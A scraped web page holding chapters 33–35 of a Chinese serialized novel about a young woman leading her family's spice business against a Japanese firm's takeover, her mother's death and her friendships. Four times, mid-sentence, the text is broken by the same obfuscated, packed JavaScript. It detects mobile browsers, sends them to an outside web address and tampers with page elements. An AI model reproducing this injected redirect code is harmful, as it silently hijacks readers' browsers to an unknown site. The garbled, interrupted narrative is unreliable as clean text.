她顿了顿,嗓音压得更低了,甚至有些颤抖,“最近家里生意根本走不动,日本的香料倾销,价格压得我们连运费都不够。股东开会,有人提议要不就跟‘东和’合作,把定价权交给他们,我们只负责分销。” 她喉咙发紧,“我真的……没想过要把母亲守了一辈子的东西,就这么低头送出去。” “你父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613674|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边呢?” “他说要听我的。”她声音低了些,“可我不知道我还能坚持多久。” 梁悯初安静地听完,沉吟了一会儿,缓缓开口:“我去年回香港的时候,看过一次港岛总督府。”他忽然扯出个看似无关的开头。 她一愣:“什么?” “嗯。”他慢吞吞地说,“开得最好的是栽在英国警署围栏里的杜鹃,水光油亮地一整排。围栏外的那几株就要憔悴得多了。” “你知道在那里,英国人和中国人共处一个岛,可学校是分开的,饭馆是分开的,花园、海滩、医院……什么都分开。”他慢慢地说,“他们说的‘一家亲’,你会永远觉得你是他们的‘客人’。” “但最可笑的是,他们也不把自己当主人。”他嘴角挂上了一抹苦涩的笑,“他们觉得自己背井离乡,来这里挣钱、挣面子,这里和他们一点关系都没有,挣了钱,就走了。” 他目光从她眼中掠过,轻声道:“没人把那里当作家。” “老师。”蔚青这样叫他,仿佛还是那个在书桌前听他讲课的学生,“你去过东北吗?听人说那里是满人居多的地方,汉人也有。” “满人和汉人争了那么多年,又来了个日本人。”梁悯初望着她,补全了她想说的话。 她顿了顿,眼神微微晃动,“一个人,站在那样的地方,到底要站在哪里呢?到底能站在哪里呢?” 屋内灯光不甚明亮,却照出她眼中一种快要被现实困住的焦躁。 “你想站哪儿?”他忽然问。 她怔住,看着他。 梁悯初微微一笑,仍是温和的口吻,却带着某种穿透人心的柔软坚定:“你想站哪儿,就站哪儿。” “不是陈家要你做什么,不是你母亲教你做什么,不是我、不是股东,是你自己——你站哪儿,陈家才往哪儿去。” 她望着他,有一瞬间像是说不出话来。 “你怎么可以……这么讲。”她低声。 “怎么讲?” “你们以前…总是告诉我要做什么,我必须做什么,我总是不想听。我现在……我现在想听听你们说话,你们一个两个的,都不说了…”她声音里有些哽咽。 她看着他,眼里像是盛了一盏夜灯。然后忽然有点不好意思,拿袖口擦了一下眼角,站起身来。 “我该走了。” “等等。”他忽然叫住她,从桌角抽出一封纸信,“这封信,是我的旧朋友从南京带来的一张资料单——关于东和商社的幕后持股方,或许你会想看一看。” 她接过那封信,沉默了几秒,忽然问:“你……早知道我会找你?” 他笑了笑,低声道:“不知道你什么时候来,但我知道你总会来。” 她朝老师举了个躬,像是下课了一样,然后她转身离开,听见身后的人的声音:“蔚青,所以我说……你长大了……” 夜色已深。陈蔚青撑着伞,一路从梁悯初的宅邸走到锅炉房,脚下青砖泛着水光,踩上去微微打滑,她却走得极稳,仿佛心中早已无惧跌宕。 锅炉房的门吱呀一声开了,屋内一如既往地昏暗潮湿,角落里的机器静静地躺着,像一头沉睡的兽,只有红色灯芯在缓缓闪烁。 她走进去,拉亮了墙角的油灯,光亮晃动间,照出墙上的工具、纸带、笔记,还有那一排排打孔器的齿轮。 她把手中的信封放在桌上,坐下来,摊开纸带,准备打孔。手却在触碰打孔笔时微微一顿。 她又低头,展开那张资料单——那是梁悯初最后递给她的东西,关于“东和商社”的幕后持股结构,笔迹整齐,资料详实,一行一行写着日本实业联盟在东南沿海多地的倾销布局。 她盯着那张纸,原本是想将这串问题逐一打入纸带,求那台机器告诉她“是”或“否”。 但她盯着那张资料单盯得太久,灯光在纸面上跳动,像是要把那一串串字句烙进她的眼里、心里。 忽然,她的手松开了。 她没有去拿打孔机,也没有拿起纸带。 她只是靠在椅背上,静静地看着那台机器。 过了一会儿,她将纸带收起,将机器轻轻擦拭干净,一点灰尘不留,然后——关了灯,转身离开。 她快步走在回家的路上,忽然笑了一下。 “我知道了。”她轻声说。 不是机器告诉她的,不是规则推导出来的,也不是谁替她指的方向。 是她自己。 地面还有点湿,但她走得很稳。 33. 陈皮鸭 屋内雨声被厚厚窗帘挡在外面,床头的铜灯投下昏黄光晕,如一小团迟迟不肯熄灭的余烛。 唐敬微靠在枕上,脸色苍白如纸,气息绵长。她醒着,却未睁眼。手中握着那条陪伴她多年的丝帕。 陈仲云坐在床边,眼神里没了平日的散漫,反而像一块慢慢被磨亮的老玉,沉着、沉默。陈蔚青站着,望着床上的母亲和床边的父亲,心头泛起一阵酸。 “这事……”他说着,嗓子低哑,没有看向任何人,不知道在跟谁说话,“你别掺和了。” “这种时候,就该男人出去应付。你们女儿家家的,凑什么热闹?” 他语气不重,却有种古旧的、被时代冲刷过的倔强。 陈蔚青一愣。 父亲从不说这种话。哪怕别人说她“不守规矩”,他说得最多的不过是“随她去吧”。他虽然不曾引以为傲,但也从未拦过。 她转头看母亲,却见那双病中干枯的手轻轻抬起,像是用了很大的力气才抚上父亲的脸。 陈仲云愣了一下,低头看她,眉眼忽然软了下去,像是一个迟迟不肯卸甲的旧兵,终于在某个瞬间低下头。 蔚青忽然明白了。 她愣了一下,声音几乎脱口而出:“……可是爸。” 父亲这番话,不是要管她,也不是要劝她,是在替她预备“退场的理由”。 他想代她赴那场与东和商社的谈判,想以家主、长辈、男人的身份——替她挡下世俗与政治的所有锋芒。 他想在风暴来临之前,用自己这个“看起来最不牢靠”的人,把她护在身后。 她喉咙发紧,张了张口,却不知道从哪里劝起。 “爸,我不怕。”她终于低声开口,像小时候把电话机拆了,站在书房门口低声认错一样。 “我也知道,谈不成会有后果。向日本人低头…更是…” 她直视他,眼神却从未这样坚定:“但如果我现在退了……以后他们就还是会说:‘她果然还是靠她爹’。” “我站出来,至少——他们得认我。” 陈仲云沉默着,他好像第一次真正地,看清了自己的女儿,更甚于股东大会上甩出证据那时——那个在母亲阴影下长大、曾经倔强又敏感的小女孩,已经站在他面前,一步步长成了另一个当家人。 他喉咙动了一下,似想开口,却终究只吐出一句:“你真要去?” 蔚青点头:“我得去。” “那你记着,”陈仲云语气很轻,像是回想起什么东西,“别人说什么你都别听,只要你妈还在,你就得像她一样——站得直,坐得稳。” 蔚青低声应着:“我记得。” 唐敬微这时忽然睁开眼,声音虚弱,却含着久未展露的笑意:“她说得对。” 她转头看向丈夫,“你忘啦?我当年接手时陈家的生意,外面都说‘女人能管什么生意’,结果呢?” 她笑着,像年轻时那样,语气里有一丝得意,也有一丝不舍:“结果他们都得听我的。” 陈仲云苦笑一声,轻轻扶住她的肩:“你别说话。” “你别拦她了。”唐敬微却紧紧握住他的手,“她走的这步路,不比我那年容易。” 陈蔚青站起身,朝父母深深鞠了一躬。她没有再多说一句话,怕一开口,就再也收不住眼泪。 她要走到门口时,母亲忽然又开口:“蔚青。” 她回头。 “王伯说,他觉着你和我很相似。”她笑了笑,笑声又弱又轻,“但我还是觉得,虽然你是我的女儿,但我们真是一点都不相似。” “妈!”蔚青猛地回过头,“这是什么…意思?” “你比我…强多了…” 蔚青愣住了,她没想到母亲会这样说,一时间不知道该怎么回答,应该像她曾经教过的礼数那样,谦虚地说“过誉了”,还是该像小时候一样骄傲的仰起头,然后扑进妈妈的怀里? 她最后什么也没做,只是点点头,然后笑了一下,眼眶泛红。 “嗯。” 陈宅夜沉如水。 她从母亲的房间出来时,衣襟还带着一点檀香的气息,混着床头灯的暖色,在皮肤上停留了一段时间才散去。 雨已经停了,但地面仍潮,水珠从檐角滑落,打在青砖上,声音像极了她此刻的心跳:不快,却分外清晰。 她没有回房,而是直接穿过垂花门,推开了账房的后门。 王伯、季老、还有两个老账头已经等在那儿。桌上摊着厚厚一摞账本、旧年合作备忘、税率对比、进出口执照复印,还有几页泛黄的外文电报。油灯微晃,他们的影子都被拉得很长,像一群沉默的看守人,守着一场看不见的战役。 “我需要东和商社三年前在北港吞并‘林记行’的记录,还有陈家母亲在十六年前与英商‘罗兰兄弟’的那份合同副本。”她声音平静,听不出情绪,“越详细越好,明天我用得上。” 没人反对。 王伯只点了点头,转身从最上头的柜子里抽出一卷线装账册:“有备着。你娘那个时候每一笔谈下来的合约都叫我们备两份,一份账房,一份她自己藏在铜镜后头。”他说到这儿顿了一下,“后来你娘说,不是为了备查,是为了让你长大以后有得看。” 陈蔚青接过,指尖不动声色地颤了一下。 季老从另一本账里翻出一页单子:“这就是那年林记行卖身投靠,给了三成股权、换五年品牌缓期——到第五年,‘林’字还没改掉,整个字号已经没人认得了。” 他把纸啪地一摊:“就是这路数。若这次陈家真与东和合作,一年后,‘陈记’这个名,还在不在市面上……不好说。” 屋里一片静。 灯火在她眼里跳了跳,她忽然轻声道:“我记得小时候,母亲谈生意回来,总会让厨房做一道菜。” “陈皮鸭。”王伯接话,不等她说完。 她抬头看他。 “那年她跟英商罗兰兄弟打交道,初一上门谈,初九才定下条款。她一共吃了三次这道菜。”王伯低笑一声,“厨子已经做好了。” 几人移步到厨房,厨师见几人来,忙把那道陈皮鸭端上来。父亲也从楼上的卧室走了下来,坐到她身边。 酱香入骨,鸭皮酥而不焦——味道和记忆中几乎一模一样。 她坐在桌边没有说话,只有王伯、季老、和她的父亲同桌。没人说这是“送行”,却人人像在备一场征战。 席上无人多饮,连父亲都只小酌几杯——他以前常常喝多,但今夜,他也克制得像一个随时要走进战场的老兵。 吃到末了,王伯低声说了一句:“你母亲那年,跟英商说的第一句话是:‘我来,不是来听你们报价的。’” 陈蔚青放下筷,望向他,眼神明亮,像是灯火落入深井:“那我明天,也该先准备好一句开场白了。” 没人回话,但所有人都点了点头。 气氛沉,却不乱。 战前最后的夜,是静水深流。 雨下到半夜,窗棂上映着滴滴答答的水珠声。 陈蔚青在自己的卧室里,迟迟未入睡。耳边忽然响起一道急促却压抑着音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618780|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量的敲门声。 门外是阿凤,小声说:“小姐,电话——电话局那边刚接过来,说是洋人的电话打进来……找您。” 蔚青一愣,连忙起身:“找我?” “是,是洋人……但说得是中文,生意有些耳熟。”阿凤声音更低了,“电话在前厅,已经接上了。” 她匆匆下楼,风裹着湿气从窗户吹进来,带着晚雨未歇的气息。 前厅里灯光昏黄,老式电话安静地躺在案几上,线圈绳微微晃动。她走上前,拾起听筒,声音有些不确定地试探:“喂?” 那头沉默了一瞬,旋即传来一道熟悉又温润的声音,像从遥远的旧梦中浮出:“蔚青?是你吗?” 她怔了一下,呼吸像被什么拽住了,下一秒几乎脱口而出:“婉芝?!” “是我。”黎婉芝轻轻笑了,语气温柔却透着一丝紧张,“我花了三天才让国际电话局帮我接通,巴黎这边现在是上午,你听,还有车声。” “你疯了……”蔚青轻轻笑了,鼻腔却涩得发酸,“你怎么打得通的?不是说……欧洲电话拨不过来吗?” “能。”婉芝答得平静,“但要翻很多山,过很多海,找很多人。” 屋外风声呼啸,陈蔚青倚着桌沿,眼睛望着那盏旧灯的灯罩,声音也像被拉得很轻:“你那边好吗?” “也还好吧。”那头传来她坐下来的声音,“学校刚开学,我选了一门现代戏剧课,一门中世纪法语,还选了写作。每天走去校区要穿过一条街,早上会有烤面包的味道。” “听起来像童话。”蔚青低声说。 “其实也挺累的。”婉芝笑了一下,“我最近睡不好,梦里常梦见南州,梦见我们在中学的后门吃绿豆糕,还有……锅炉房。”她声音放轻了些,“阿简怎么样?” 蔚青一怔,低声道:“她的信我们收到了。她说她很好。” 婉芝没再追问,只低低地笑了声,带着一点点沙哑的夜意:“那就好。” 两人之间沉默了一小会儿。那边忽然传来钟声,隐约是教堂的整点钟响。 “蔚青,”婉芝忽然轻声说,“我听说了——日本人的东和香料商在南州做得很凶。有人写信给我,说陈家可能也要……加入分销。” “是。”蔚青闭了闭眼,声音低得几不可闻。 “你在撑着,对不对?” “我……”她声音微颤,低头看着自己揪紧的手指,“我不知道我还能撑多久。” “撑下去。”婉芝的语气忽然坚定,“你一定要撑下去。” “因为我知道你会撑下去。”黎婉芝像是按住了什么情绪,语调却如利刃划开夜雨,“你是我们中间最能做事的那一个。你是陈蔚青。” 陈蔚青怔住,良久没说话。 黎婉芝放轻声音:“你记得我们中学后门墙上刻的那行字吗?” “你说哪一行?” “铁肩担道义,辣手著文章。” 蔚青忽然笑了,眼眶却已泛红:“可我不会著文章。” “但你做到了前面的。” 那头忽然传来电话局催促的电铃声,打断了这通短暂却灼人的通话。 “我要挂了。”婉芝轻快地说,“还有人等着排队呢。” “婉芝。”蔚青终于开口,声音有点哑,“你还会再打过来吗?” “我不知道。”她笑着答,“但你放心,我会写信的。” “好。”蔚青低声道,“我会等你。” 电话断了,嘟的一声,像是小提琴的最后一根弦,被月色轻轻拨断。 34. 谈判 翌日清晨,天色尚未完全亮透,晨雾在陈宅庭院间缭绕,湿气沉沉,仿佛一层未褪的夜。 陈蔚青穿戴整齐,一身墨蓝色斜襟长褂,外披浅色风衣,鬓发贴颊,整个人沉静如水。她缓步走下楼梯,刚绕过廊柱,便听见侧门处传来低唤: “小姐。”是阿凤,“今早有人送来一封信,是从上海转来的。” 她脚步一顿,回头接过信。信封上贴着一角褪色的邮票,纸面泛着潮,边角被海风卷起的痕迹仍清晰可见。 她不需细看便能知道是谁—— 是罗简。 她在廊下站了一会儿,指尖轻捻信角,像是隔着几千里,握住那一双熟悉的、从码头一路走到舞台边的小手。 然后,她轻轻拆开信封,展开那一页略显凌乱却热烈的笔迹—— 蔚青姐: 你有没有想我呀? 我最近有好事! 你记不记得我说过“在剧组待久了,迟早轮得到我”?现在好像真的轮到了——副导演让我试穿主角的衣服,说是有部戏里要用我演一个“流浪在码头的女孩”。我说:“那我不用演,我就是!” 我现在每天都有事干,有时候还是演死人,但有人记得我的名字了!场务不再喊我“小丫头”,而是叫“简”。这听起来是不是像个真正的演员啦? 还有一件事。 时砚哥写信来,说他已经给我哥安排了永丰纱厂那边的工头职位。你知道我哥,他嘴上从来不说谢谢,但我知道他高兴坏了——他第一次给我写信呢! 你猜他写了啥?“天冷记得穿袜子”。我一眼就看出来,那封信的字是时砚哥写的——规规矩矩的,像打字机的一样。 但不管是谁写的,我哥能写信过来,我就觉得很幸福。 我知道你没回我第一封信,我知道肯定是因为你太忙啦。婉芝姐也没有消息,不过法国太远了嘛,希望她也能好好的。 我这边会继续写信,你们一定要平安。 说起来,蔚青姐——你会觉得孤单吗?我有时候觉得,自己好像站在一个很大的舞台上,可舞台下面空空的,没有人认得我,没有人鼓掌,也没有灯光。但我还是想站上去看看。 我会记得你和婉芝姐说过的话,我会努力走到那个地方去的。 愿你一切安好。 你的小朋友 罗简 她没有把信放下,而是小心地折起来,缓缓塞入贴身的内袋,靠近心口的地方,那里正跳动着安静而坚定的鼓点。 阳光从屋檐边洒下来,落在她的肩头。晨风中微微泛着桂花香,是季节悄悄更替的味道。 她深吸一口气,整了整衣襟,抬头看向前方。 傍晚,陈宅屋内仆人忙碌穿梭,但无一人敢高声说话。 一切静得像科举前的考场,只等一阵锣一敲,风暴便要开始。 陈蔚青站在镜前,慢慢扣好风衣的最后一颗扣子。她穿了一件浅灰风衣,鬓边略施粉黛,不浓。她望着镜中那张略显清瘦的脸,忽然轻声道:“我来,不是来听你们报价的。” 她顿了顿,又缓缓重复一遍,像是在给自己背诵台词:“不是来听你们报价的。” 门外脚步声近了,是阿凤:“小姐,车已经备好。” 她点点头,转身下楼。路过前厅时,父亲正站在楼梯口,双手背在身后,看着她从上一步步走下来。 “我不送你。”他说。 她停住脚步,轻轻点头:“我知道。” 父亲没有再说什么,只朝她摆摆手,挥走一个早已懂事的孩子。 庭院门口,汽车静候在晨雾之中。车窗玻璃上映出她沉静的面容,也映出后头隐约露面的老账房王伯、季老,以及几个熟识的老面孔——他们站在门内,没有送出,只默默望着她上车。 轿车缓缓启动。南州的街道刚刚苏醒,街口的早点摊还未起火,街边的桂花却已经开得缤纷,一阵秋风拂过,香气扑鼻。 她抬头,看见车窗外的天色泛起微亮。今日是个晴天。 车停在南州市政商会宾馆正门时,东和商社的车也刚好停下。 那辆车上走下两人,一名日籍翻译,一名身着黑色洋服、佩细边金丝眼镜的中年男人,眼神沉静,神色带着不动声色的算计。陈蔚青几乎是一眼就明白,他就是东和派来此地的负责人——藤原。 陈蔚青迈步上前,朝对方颔首致意:“陈家代表,陈蔚青。” 藤原微笑致意,语气温和,说了一段日语。旁边的翻译板着脸翻译到:“这是我们东和商社南州事务部部长,藤原诚一。” 几人并肩进入谈判厅。厅内桌案两侧早已备好椅位,一方坐陈家代表,另一侧坐藤原与他的翻译。 落座后,茶水奉上,藤原先微笑开口,翻译官也冷冰冰地翻译道:“此次前来,并无别意。商社上下对贵方百年字号,素来敬重。如今局势多变,望两边能携手并进。” 藤原话音刚落,便缓缓抬起茶盏,眼神却没有落在茶水上,而是盯着蔚青,笑意未褪地补了一句:“听说陈小姐年纪尚轻,却已接管家业,当真让人佩服。” 翻译将这句话缓缓说出,语气中刻意保留了那一丝不咸不淡的意味。 “我见过许多东南的女掌柜,论沉稳、识局、善断,往往都不如她们的父兄。”他又啜了一口茶,微微一顿,“不过也无妨。如今讲究新时代女性崛起,陈小姐能坐在这里,便已胜过许多人了。” 这番话,说是赞美,实则刀锋暗藏。 桌上那盏琉璃灯的灯焰微微跳动了一下,恍若无声地提醒着蔚青:火已经烧到桌边了。 她原本放在膝上的手,悄悄收紧了一瞬。第一次与外商正面交锋,不是模拟,也非账房演练,而是一场坐了“看戏之人”的真实战局。 她能感受到自己的背脊有些僵直,脑中闪过一念:是不是哪里准备得还不够? 她忽然想起昨夜的电话—— “铁肩担道义,辣手著文章。” 黎婉芝的声音仿佛还在耳边,而那封信,那封来自上海、从街头的嘈杂与馄饨香气里飘来的信,也贴在她胸口最近的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624895|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 再往前,是母亲轻声说出的那句:“你比我强多了。” 她的呼吸悄然放缓。 她抬起头,目光如水波逐渐止息后的镜面,清亮、沉稳,语气柔和,却带着一丝未明的锋芒:“多谢藤原先生夸奖。” 她顿了顿,眼神不动声色地扫过桌面:“陈家确实没有太多男子管事,我父亲……更擅长喝酒、读诗,叔父堂哥们…另有所事。” “如今这代人,守账本、打算盘的,只剩下我。” 藤原闻言,笑了:“原来如此。” 她接着道:“不过藤原先生既说‘局势多变’,那我也就不绕弯子。” 她翻开随身带来的文件册,抽出几张纸,摊在桌上,一字一句地道:“贵社三年前于北港吞并林记行,六个月内,林字号在市面上的认知度下降六成。” “合作第一年,贵社设定出货比重为对方七三,次年改为四六,到第三年时只剩两成。贵社主导品牌包装、宣传语,更替口号,最后品牌虽留,实已易主。” 她将手中最后一页纸放下,平整地按住:“我们查阅贵社近年来所有‘合作案例’,发现几乎没有任何一家仍维持独立运营——贵社的合作,是将人请上牌桌,再慢慢收回筹码。” 她说完这些话,停顿了一下,看向对方的眼睛,语气不再客气:“陈家不能拿自己的百年字号做这样一场注定要输的赌局。” 藤原依旧微笑,却轻轻将她面前的文件往回拨了一下,语气轻柔得像在哄一只倔强的猫:“陈小姐,您说得在理。但商场如棋,成王败寇。如今大势已定,若陈家执意走另一条路,只怕连下注的机会也没有。” “我们东和,并不一定要陈家。” 他顿了一顿,笑意不减:“是陈家,需要我们。” 这一句,字字缓慢,如同一枚枚精细打磨过的棋子,逐个落下棋盘。 厅中一静。 连那盏油灯的火苗,也仿佛收紧了一分。 但陈蔚青只是微微一笑,语调不变,却在尾音压下时,锋意乍现:“我知道你们不缺合作方,甚至已经安排好替代陈家的铺子,等着我们不应下这一笔生意。” “可你们终究还来找我们——那说明,在这一座城里,‘陈’,还是最有分量的。” 她话锋一转,落得干脆:“我们可以不合作。但你们若真想谈——陈家,必须保留品牌自主权、定价自主权,且有权拒绝任何劣品下配货,概不退让。” “你们也可以离开。若要留下,就得按我说得来。” 她将文件轻轻推回去,力道不重,却发出轻响。 那一下,像落在水面的一块石头。 藤原眯起眼,盯着她良久,指尖轻轻敲击桌面三下,然后——忽然笑了。 笑声不大,却像忽然散出的烟雾,遮住了棋局上的下一手。 “好啊,好啊。”他收起笑意,说了一句中文。 “我明白了。请容我回商社复议。”翻译官翻译道。 她站起身,朝他轻轻颔首:“恕不远送。” 35. 再之后 距和藤原的谈判过去了两月,南州又入冬了。 唐敬微走的那日,没有锣鼓、没有唢呐,也没有白布拦门的哭声。 她曾说过,她不喜欢那种声势——“吵,太吵了。”她靠在床上时这么说,嗓音轻得像飘在风里,“小时候家里穷,一听见唢呐声就是谁家死人了。人还没凉,外面就开始敲敲打打,那声音……跟抢一样。” “我死的时候,别吵。”她那时闭着眼睛,说得轻巧,“我这辈子耳朵都没安静过。” 所以她走得很静,像是从一扇轻轻掩上的门后头退了一步,就那么悄无声息地,不再出来了。 那场葬礼简单得近乎吝啬——一口沉棕色的西式棺木,几束洁白的栀子花,庭院里点着安静的白蜡烛。连来吊唁的人也不多。她生前太要强,朋友不是没有,但大多敬而远之。她身后也太静,像是怕吵到她的安息。 葬礼结束后,陈蔚青在母亲房里坐了一整夜。 那房间已经收拾过了,茶盏洗净了,床被叠好了,铜灯熄了,连那条陪伴母亲一生的丝帕也被收进了抽屉里。什么都井然有序,却安静得像一个空壳。她坐在屋子中间,忽然觉得自己像个陌生人。 她记得不清那一整夜自己做了什么,只记得窗外下起了雨,细细密密,落在庭院里的树叶上,沙沙作响,像极了母亲写字时手腕拂过纸页的声音。 有一瞬间,她几乎以为母亲还在屋里,正在屋角的灯下写账,或者正坐在铜镜前,拿着一支银梳一点一点梳头发。她甚至听见了母亲说话的声音:“这笔账不能算错——人家盯着你呢。” 可当她猛地抬头,屋里什么也没有。没有灯光,没有人影。 只剩下她自己,坐在一个已经被时间抽空的壳子里,像个努力寻找归属的孩子。 那一夜她才意识到,母亲这一生虽然锋利,但也孤独。 她说过的每句话,每一个苛刻的要求,每一次眼神里的压迫和克制,不是在对谁施压,而是在拼命握紧自己的位置。 她曾不愿母亲掌控她的一切,如今她好像终于明白,母亲不是想控制她,是想把她护进那个不属于她们的世界。 又或许不是,她可能是一个想控制女儿的妈妈。蔚青坐着,突然一股无名火冒上来。她突然想抓住那个名为唐敬微,被她称作“妈”的女人问一问,她这一辈子,到底是怎么想的。 可死人是不可能开口了,或许在几十年后,她会在不知道哪里等我,然后那个时候,我再问一问。蔚青这样想着,她想起那台机器,她原以为这能保存母亲的思想,直到母亲真的离去她才意识到,不行,那只是一台单纯的,问答机器。 她想起梁悯初说的,重要的不是问答逻辑如何设计,而是如何“定义那个人的思想”。 她其实从来都不知道,或许她从来都努力错了方向,她没能成功定义任何东西,或者思想本来就不是能被定义的。她不知道。 陈蔚青站在母亲的旧书桌前,伸出手,抚过那面泛旧的铜镜。她看着镜中自己憔悴的轮廓,忽然就想起母亲病重时说的那句话:“你比我……强多了。” 那声音太轻太远,仿佛隔了一个时代。 她喃喃应了一句:“我不知道。”然后转过身,走出房间。 风吹灭了廊下的灯,她没有回头。 夜色深沉,陈宅后院静得像被一层丝绒包裹。灯笼的光暖黄柔软,竹影被风轻轻摇动,投在地上,如水波起伏。 沈时砚今晚没有穿他那件西装,而是换了一件素灰的长衫,袖口微挽,露出手腕。他靠在院墙边的长椅上,一条腿搭着,一条腿微微伸出,看起来格外松弛,像是终于从永丰厂那些机油味和汗气中解脱出来。 陈蔚青坐在他左边,肩膀离他不过一拳的距离。 她没穿大衣,只穿了一件深蓝色细纹织料的长褂,腰身收得很贴,灯光在她耳下投出一层温润的影。她手中握着一个白瓷茶杯,杯沿已经泛起雾气。 “你是刚从厂子那边回来?”她先开口,语气很轻。 “嗯。”他偏过头看她一眼,眼神像从微光中抽出来的一线墨,“看到罗炽南的时候,他刚在教新工人怎么修机器。从没见他那么兴奋过,手上都是油,眼神却像打了火。” “他很好。”她点头,声音低低的,像说给自己听,“罗简走了之后,他反而变得安静又专注。我一度担心他会一直不高兴。” “不会。”沈时砚说,“阿简是会出头的。” 她没说话,低头抿了一口茶。 风吹过来,茶香混着还未落尽的花香扑入鼻尖,竟有点熏人。她轻轻皱了皱眉。 “你今天看起来很累。”他忽然道,语气不似询问,更像一种温和的注视。 “年底了,那些账本啊报表啊比从前难看许多。”她低笑了一声,“是这样的,谈判失败了,虽然早知道会失败。不过至少我谈下去了,面对他们那张脸时,我真忍不住想摔杯子。” “摔了吗?”他挑眉。 “那当然没。”她笑了,轻轻低下头,指腹摩挲着茶杯沿,像是在借助热度确认自己还在这里。 “不过合作谈崩之后,也不是全输。”她缓缓开口,语调平稳,“学生会和工人组织都站出来支持我们。婉芝打电话来,说巴黎那边也有华人在传‘南州陈家拒签东和协议’,说我是商人里难得的硬骨头。” “挺有名气的。”他偏头看她一眼,“我是不是该找你要个签名?” 她笑出声来,眼角扬起,带着那种久违的轻松。 “你想得倒美,我才不给你呢。” 他也笑了,声音不大,像是在笑她的嘴硬。 “其实我没想到我们能撑住。”她忽然低声道,“账房说销量少了三成,可我们还没死……那一刻我有点恍惚。” “你不是撑住了么。”他侧头,眼神轻柔,“撑得好好的。” “是啊……”她看着自己的手掌,那里还有早上翻账本时被纸页割出的一道浅痕,“撑住之后,才觉得自己不是靠着一股狠劲,而是……有人在后头顶着我。” 她顿了一下,像是不小心把话说漏了。她慢慢抬起眼,眼神在夜色中泛着一点潮湿的光,却没回避。 沈时砚没有接话,只把目光挪开,看向不远处一棵风吹微响的香樟树。他的轮廓在灯下显得柔和,像是刻在夜色里的一个人影。 两人陷入一段静默,那是种不尴尬的沉默,就像两根平行的线,不言不语,却正慢慢靠近。 风拂过她的发梢,一缕贴上了他的肩头。 她没动,他也没动。 过了许久,陈蔚青才轻声问:“你什么时候去北平?” 她没抬头,声音里却藏着一丝不易察觉的犹疑。 沈时砚像是被这问题拽住了思绪,低低“嗯”了一声。 他转头看她,夜色里她的眼睛映着灯笼的火,像燃了一枚极小的光。 “我……其实一直在等你问这句。” 她一怔。 “我总觉得……”他顿了一下,好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631898|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在组织语言,“你……需要一个人在身边。” 她心跳顿了一拍,却没有转过头去,只是低声道:“你怎么知道我不是想自己待着。” “你可以想。”他说,“但我还是会留一会儿。直到你说,不用了。” 她没有说话。只是把杯子用手掌握住,那一瞬,她感到茶水的温度还未散尽。 沈时砚没再说什么。他只是靠近了一点,只是靠近。 火光在院中轻轻晃动,树叶被冬天的风吹落,在风中打着旋落下,也落在两人之间的缄默里。 在沉默中,沈时砚忽然轻声开口:“你还没问……沈家的事。” 陈蔚青这才回过神,转头看他:“我该问吗?” “你当然可以问。”他声音低柔,“只是你一直没提,我也就没讲。” 她没有说话,只是望着他。于是他继续道:“沈家还好,香料并不是主业,只是占一点边。眼下在收缩——很多人都在收。” “……时墨呢?”她问。 “他不去上海了。”他轻轻一笑,像是提到某个熟悉又陌生的人,“你知道的,局势变了。家里决定让他留在南州,跟着父亲熟悉账面、打点生意。” “做得怎么样?” 沈时砚侧过头,看了她一眼,神情温和又带点不自觉的落寞:“他什么事都做得很好。他很稳重,记性好,说话得体,什么人都喜欢他。” 他顿了一下,眼底泛出一丝自嘲:“跟我不一样。” 蔚青想说“你也很好”,可话到嘴边,又咽了回去。 她只是轻轻开口:“你不适合那些,你有你的位置。” “我知道。”他笑了笑,声音轻得像夜色一样,“我知道得太早了,反而给家里留下了太多麻烦。” 他低头,指节敲了敲膝盖,语气像是讲一件与己无关的旧事:“我父亲其实挺看重时墨的,最近连家里的账房都慢慢交给他。挺好。” “挺好。”她也跟着重复了一遍。 两人不再言语,各自听着风声穿过树梢。过了一会儿,沈时砚才像是随口问道:“你呢?” “我?” 